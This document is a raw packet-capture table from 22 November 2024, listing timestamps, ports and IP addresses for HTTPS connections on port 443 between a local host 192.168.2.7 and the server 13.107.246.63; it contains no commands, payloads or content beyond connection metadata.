Nov 22, 2024 01:03:05.641391993 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.641455889 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.641490936 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.641499996 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.641521931 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.641624928 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.641781092 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.646583080 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.646603107 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.648578882 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.648610115 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.648679018 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.648679972 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.648705959 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.648722887 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.692496061 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.724009037 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.724037886 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.724111080 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.724123955 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.724160910 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.724180937 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.727777958 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.727835894 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.727844000 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.727864027 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.727894068 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.727957964 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.728208065 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.728223085 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.781733036 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.785113096 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.785156012 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.785181999 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.785219908 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.785377026 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.785391092 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.793195009 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.793237925 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.793385029 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.794102907 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.794142962 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.794259071 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.794418097 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.794435978 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.794545889 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.794557095 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.814640999 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.815205097 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.815222025 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.815623999 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.815629005 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.839322090 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.842523098 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.842597008 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.842638016 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.842650890 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.842663050 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.842669010 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.846206903 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.846247911 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.846632957 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.846822977 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.846846104 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.879347086 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.881138086 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.881164074 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.882132053 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.882139921 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.917314053 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.917339087 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.917444944 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.917655945 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.917669058 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.917782068 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.920907021 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.920993090 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.921046019 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.921070099 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.921086073 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.921091080 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.924143076 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.924184084 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.924262047 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.924438000 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.924463987 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.258095980 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.265752077 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.265861988 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.265964985 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.265964985 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.265985012 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.265994072 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.268961906 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.268979073 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.269140005 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.269301891 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.269310951 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.333206892 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.333456993 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.333580971 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.335318089 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.335340023 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.339191914 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.339217901 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:06.339294910 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.339436054 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:06.339445114 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.520966053 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.521198988 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.521222115 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.522665977 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.522718906 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.523032904 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.523101091 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.523189068 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.523196936 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.565176964 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.573107958 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.573575020 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.573596954 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.574075937 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.574080944 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.631237984 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.631696939 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.631715059 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.632277012 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.632282019 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.697464943 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.697747946 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.697762966 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.699244976 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.699321985 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.699733019 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.699819088 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.699875116 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.743357897 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.753487110 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.753505945 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.770477057 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.774331093 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.774331093 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:07.774346113 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.774353981 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:07.802896976 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.007229090 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007262945 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007302046 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007318020 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.007335901 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007352114 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007359982 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.007380962 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.007405043 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.024241924 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.028652906 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.028723955 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.028772116 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.028783083 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.028795958 CET	49842	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.028803110 CET	443	49842	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.031271935 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.031326056 CET	443	49854	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.031443119 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.031611919 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.031627893 CET	443	49854	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.057590961 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.060229063 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.060256958 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.060784101 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.060791969 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.093660116 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.096913099 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.097012043 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.097117901 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.097470999 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.097470999 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.097780943 CET	49844	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.097794056 CET	443	49844	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.101471901 CET	49859	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.101511955 CET	443	49859	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.101584911 CET	49859	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.102109909 CET	49859	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.102125883 CET	443	49859	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196671963 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196700096 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196774960 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.196795940 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196835041 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196871042 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196881056 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196887970 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.196903944 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196913004 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196918011 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.196948051 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.196948051 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.196962118 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.197005987 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.197006941 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.220324039 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.220401049 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.220628023 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.221043110 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.221043110 CET	49846	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.221055984 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.221065044 CET	443	49846	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.222393990 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.224014044 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.224039078 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.224858046 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.224864006 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.225768089 CET	49860	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.225822926 CET	443	49860	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.225897074 CET	49860	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.226075888 CET	49860	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.226109028 CET	443	49860	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.241466045 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.241486073 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.241542101 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.241549015 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.241592884 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.372894049 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.372920990 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.372999907 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.373012066 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.373179913 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.384084940 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.384097099 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.384169102 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.384180069 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.384561062 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.391418934 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.402863026 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.402884007 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.402956009 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.402965069 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.402997971 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.403007984 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.423336029 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.423358917 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.423409939 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.423417091 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.423460007 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.433583021 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.437105894 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.437124968 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.437154055 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.437186956 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.437207937 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.437226057 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.437249899 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.439564943 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.443444014 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.443459988 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.443520069 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.443525076 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.447524071 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.472960949 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.473057032 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.473067045 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.473144054 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.478406906 CET	49845	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.478430033 CET	443	49845	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.501991034 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.505109072 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.505153894 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.505165100 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.505289078 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.505518913 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.505518913 CET	49847	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.505531073 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.505537987 CET	443	49847	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.508687019 CET	49861	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.508732080 CET	443	49861	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.508795977 CET	49861	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.509407043 CET	49861	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.509423971 CET	443	49861	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.554932117 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.554951906 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.554995060 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.555002928 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.555032969 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.555039883 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.569874048 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.569891930 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.569935083 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.569940090 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.569963932 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.569998026 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.585053921 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.585071087 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.585117102 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.585120916 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.585150003 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.585160971 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.599925041 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.599939108 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.599983931 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.599988937 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.600013018 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.600038052 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615030050 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.615046024 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.615084887 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615089893 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.615122080 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615135908 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615166903 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.615201950 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615350008 CET	49843	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.615360975 CET	443	49843	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.683753967 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.686786890 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.686846972 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.686903000 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.686903954 CET	49848	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.686918020 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.686933994 CET	443	49848	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.689842939 CET	49862	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.689929962 CET	443	49862	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:08.690012932 CET	49862	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.690177917 CET	49862	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:08.690212965 CET	443	49862	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.815994024 CET	443	49859	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.817125082 CET	443	49854	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.859031916 CET	49859	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.859052896 CET	443	49859	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.862812042 CET	49859	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.862818003 CET	443	49859	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.864919901 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.872158051 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.872163057 CET	443	49854	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.872546911 CET	49854	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.872551918 CET	443	49854	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.940246105 CET	443	49860	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.940701962 CET	49860	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.940749884 CET	443	49860	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:09.941844940 CET	49860	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:09.941859007 CET	443	49860	13.107.246.63	192.168.2.7
